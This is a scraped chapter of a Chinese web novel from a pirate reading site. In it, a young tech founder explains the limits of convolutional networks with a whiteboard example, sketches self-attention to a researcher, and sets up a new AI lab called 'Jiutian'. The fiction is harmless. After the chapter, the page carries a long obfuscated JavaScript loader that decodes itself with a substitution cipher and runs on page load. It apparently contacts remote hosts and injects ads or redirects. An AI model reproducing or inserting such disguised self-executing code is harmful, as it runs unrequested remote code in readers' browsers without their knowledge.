首页
第622章 九章之上,再攀一
返回
关灯 护眼:关 字号:小

第622章 九章之上,再攀一天

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    任少卿没有立刻回答。
    他皱着眉头想了几秒,像是在确认这个问题有没有什么陷阱。
    「提取局部特徵,逐层抽象。」
    这是教科书级别的标准答案。
    顾屿点了点头。
    「局部特徵。」
    他重复了一遍这四个字,语气很轻。
    「你注意到了吗,你自己说的局部。」
    任少卿的眉头皱得更紧了。
    顾屿没有继续追问。
    他站起来,走到会议室角落那块白板前面,拿起一支黑色马克笔,拔开盖子。
    「我打个比方。」
    他在白板上画了一个长方形,里面写了一行字:今天天气真好,我们去公园玩吧。
    「这是一句话。十二个字。」
    顾屿用笔尖点了点第一个字,
    「假设你是一个卷积核,你的窗口大小是三。你一次只能看到三个字。」
    他用笔在「今天天」三个字下面画了一个框。
    「你站在这个位置,你能看到'今天天'。然后你往右滑一格,看到'天天气'。再滑一格,'天气真'。」
    任少卿没说话,目光牢牢锁在白板上。
    「每一次,你都只能看到三个字的范围。」
    顾屿的声音不急不慢,
    「你把这些小碎片一层一层地拼,拼到最后,理论上你能拼出整句话的意思。这就是CNN干的事。拿一个小放大镜,一小块一小块地看,然后靠叠加很多层来慢慢扩大你的视野。」
    他停了一拍。
    「你的残差连接解决了什么问题?解决了叠加层数时信号衰减的问题。换句话说,你让这个放大镜可以叠很多很多层了,不会失灵了。这很了不起。」
    任少卿听出了这句话后面跟着一个「但是」。
    果然。
    「但放大镜终究是放大镜。」
    顾屿用笔尖在那行字的第一个字和最后一个字之间画了一条红色的连线。
    「如果这句话的第一个字'今'和最后一个字'吧'之间存在某种关键的联系呢?你得叠多少层,才能让第一层的卷积核'看到'最后一个字?」
    任少卿的嘴唇动了一下。
    「图像上你感受不到这个问题。」
    顾屿把笔盖盖上,转过身面对任少卿。
    「因为一张照片里,猫的耳朵和猫的眼睛挨得很近,它们天生就在一个局部窗口里。卷积核天然适合干这个活。」
    「但如果有一天,你要处理的东西不是图片呢?」
    会议室里安静了几秒。只有中央空调出风口的微弱嗡鸣声。
    「比如一篇文章。」
    顾屿说。
    「比如一整本小说。第一章的伏笔,要到最后一章才回收。中间隔了几十万字。你的卷积核要滑多少次才能把它们联系起来?」
    任少卿没有接话。
    顾屿没有急着往下说。
    他把马克笔放回白板槽里,走回座位坐下,端起桌上已经凉透的茶杯喝了一口。
    给任少卿留消化的时间。
    大约过了半分钟,任少卿开口了。声音比之前低了半个调。
    「你的意思是,卷积这个操作本身,在某些任务上存在结构性的缺陷。」
    「不是缺陷。」
    顾屿纠正他,
    「是边界。每种工具都有它的边界。锤子钉钉子很好使,但你不能拿锤子去拧螺丝。」
    任少卿沉默了更久。
    然后他抬起头,眼睛里的光变了。
    不再是汇报实验成果时那种兴奋的亮,而是一种更深的丶带着困惑和渴望的光。
    「那如果不用卷积呢?」
    顾屿等的就是这句话。
    「你想像一下这样一种结构。」
    顾屿的语速放慢了,像是在帮对方一起画一幅还不存在的蓝图。
    「一个序列里有十二个字。每一个字,都能同时'看到'其他所有十一个字。不需要一层一层地滑窗口,不需要一步一步地扩大感受野。每个位置直接和所有位置产生联系,然后自己决定,我该重点关注谁,忽略谁。」
    任少卿的第一反应是脱口而出的。
    「计算量会爆炸。」
    紧接着他的眉头皱成了川字,
    「而且这不符合逻辑。如果不靠卷积的滑动窗口,也不靠循环网络的先后顺序,模型怎么知道这句话的语序?'我爱你'和'你爱我',在这种每个位置同时交互的结构里,权重会变得完全一样,位置信息彻底丢失了!」
    顾屿眼底透出赞赏。
    不愧是任少卿,立刻就捏住了Self-Attention最致命的七寸——位置编码。
    但他没有立刻解答,只是微微一笑:
    「对。」
    顾屿点头,毫不意外。
    「十二个字,每个字和其他十一个字交互,就是十二乘以十二,一百四十四次运算。如果是一千个字呢?一百万次。一万个字呢?一亿次。复杂度是字数的平方。」
    他看着任少卿。
    「所以关键从来不是这个思路对不对。理论上它是对的,你心里清楚。关键是怎么让它跑得起来,算得动,能工程化。怎么让一亿次运算压缩到GPU能并行处理的范围内,怎么把丢失的位置信息用数学手段重新注入进去。怎么让它不只是一个漂亮的数学公式,而是能真正训练出结果的工程方案。」
    任少卿的手指无意识地敲着桌面。
    顾屿看着他的表情。这张被雅安紫外线晒黑了一圈的脸上,正有什么东西在松动。
    「这是值得你花一年甚至更长时间去攻克的课题。」
    顾屿说完这句话,往椅背上靠了回去。
    他知道今天说到这里就够了。种子已经种下去了。
    任少卿是这个领域最顶尖的工程大脑之一,给他一个正确的方向,剩下的推导和验证,他自己会跑起来。
    但方向只是第一步。
    「少卿。」
    「嗯?」
    「残差网络的论文,一个月之内整理成稿,投CVPR或者ICCV。署名用'回响科技AI实验室'。」
    任少卿愣了一下。
    「回响科技AI实验室?我们有这个部门吗?」
    「现在有了。」
    「你牵头。」
    顾屿看着他,
    「实验室归你管,技术方向你定,我不干涉具体研发。至于五十层丶一百层的后续消融实验,全部交给你那两个师弟去跑。你现在的核心精力,必须从代码里抽出来,放到这篇论文的撰写和新架构的统筹上。学会当一个实验室的主导者,而不是一个苦哈哈的程式设计师。」
    任少卿神色微凛,认真地点了点头。
    顾屿接着说道:
    「作为老板,我只负责三件事。」
    他竖起三根手指。
    「第一,钱。研发预算我来批,你花多少我给多少,不设上限。九章基地那边的算力你继续用,不够我追加采购。同时我会让徐静在雅安预留出一整块独立区域,专门给AI实验室的训练任务。」
    任少卿的喉结动了一下。
    「第二,人。光靠你和两个师弟不够。我给你调一个人过来。」
    顾屿拿起手机,翻到通讯录里一个名字。
    「楼天城。听说过吗?」
    任少卿当然听说过。
    搞计算机的人没有不知道楼天城的。
    TopCoder连续多年世界排名第一,Google丶Facebook都抢着要的竞赛大神。
    在国内计算机圈子里,「楼教主」三个字本身就是一座山。
    「他在我们公司。」
    顾屿说得云淡风轻。
    任少卿张了张嘴,没发出声音。
    「之前在另一个部门做底层框架的工作。我会把他调到你的实验室来。」
    顾屿的手指在手机屏幕上轻轻敲了两下,
    「你负责想清楚要做什么,他负责把你的想法变成跑得飞快的代码。你是发动机,他是变速箱。」
    任少卿的呼吸明显急促了。
    楼天城。
    如果真的能跟楼天城搭档,那他刚才那个「计算量爆炸」的问题,就不再是一道无解的死题了。
    楼天城在底层系统优化和高性能计算上,可能是全中国最强的那几个人之一。
    顾屿竖起第三根手指。
    「第三,论文发出去之后,全世界搞深度学习的人都会看到。到时候想来的人,我们敞开大门。薪资上不设天花板,只要是你看上的人,我不还价。」
    他把三根手指收回来,双手交叠放在桌面上。
    「论文就是我们的招聘广告。让全世界知道,中国有一个民间实验室,能做出这个级别的东西。」
    会议室安静了很久。
    任少卿低着头,盯着笔记本电脑屏幕上那条稳步攀升的精度曲线。
    他的手指停在键盘边缘,没有动。
    过了大概十几秒,他抬起头来。
    「我有一个条件。」
    顾屿挑了一下眉。
    「说。」
    「你刚才在白板上画的那个思路,每个位置直接看所有位置,自己决定关注谁,这套东西如果真的要做,光靠我和楼天城还差一块。」
    任少卿的语速快了起来,像是脑子里的齿轮已经开始高速转动。
    「我能把网络搭起来,楼天城能把它跑起来。但中间的数学推导。怎么定义'关注'这个操作,怎么用矩阵运算把它形式化,怎么设计损失函数让它可训练,我需要一个数学功底极强的人。」
    顾屿嘴角动了一下。
    「九章那边有个叫安德烈的,俄罗斯人。」
    顾屿说,
    「你接触过吗?」
    「见过两次。」
    任少卿的眼睛亮了,
    「矩阵优化方面的直觉非常强,有一次他闲着没事帮我改了一版卷积运算的内存调度方案,效率直接提了百分之十五。」
    「那就把他也拉进来。你去跟他谈。谈不拢的话告诉我,我来谈。」
    任少卿站起身,缓了缓神。
    他看着顾屿。
    一个比他还小好几岁的年轻人。
    但刚才这个人用二十分钟,把他未来一到两年的研究方向,掰开了丶揉碎了丶重新组装了一遍。
    而且每一步都踩在了刀刃上。
    「我今晚的航班飞回雅安。」
    任少卿把笔记本电脑合上,塞进双肩包里。
    「论文初稿,三周之内给你。」
    顾屿没有点头,而是直接拿起手机拨通了陆知远的电话:
    「知远,联系公务机公司,包一架今晚飞锦城的飞机。另外抽调两个高管级别的安保跟着。」
    放下手机,顾屿看着愣住的任少卿,语气坚决:
    「我说了,这个实验室的最高机密就是你脑子里的东西,或者那个物理层面上一杯咖啡就能报销的U盘。从今天起,别再让我看到你挤经济舱。」
    任少卿握着包带的手指紧了紧,喉咙里堵得慌,重重地点了点头。
    他拎着包走到门口,拉开门,突然又停住了。
    「对了。」
    他回过头,
    「这个实验室,叫什么名字?」
    顾屿愣了一秒。
    然后他转过身,走到白板前面。
    白板上还留着刚才那句「今天天气真好,我们去公园玩吧」,留着那条横跨首尾的红色连线,留着一堆歪歪扭扭的框和箭头。
    顾屿拿起马克笔,在最上面的空白处,落笔写下了两个字。
    九天。
    任少卿看着那两个字,嘴里默念了一遍。
    「九天。」
    「嗯。」
    顾屿把笔盖盖上,没有回头。
    「九章之上,再攀一天。」
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();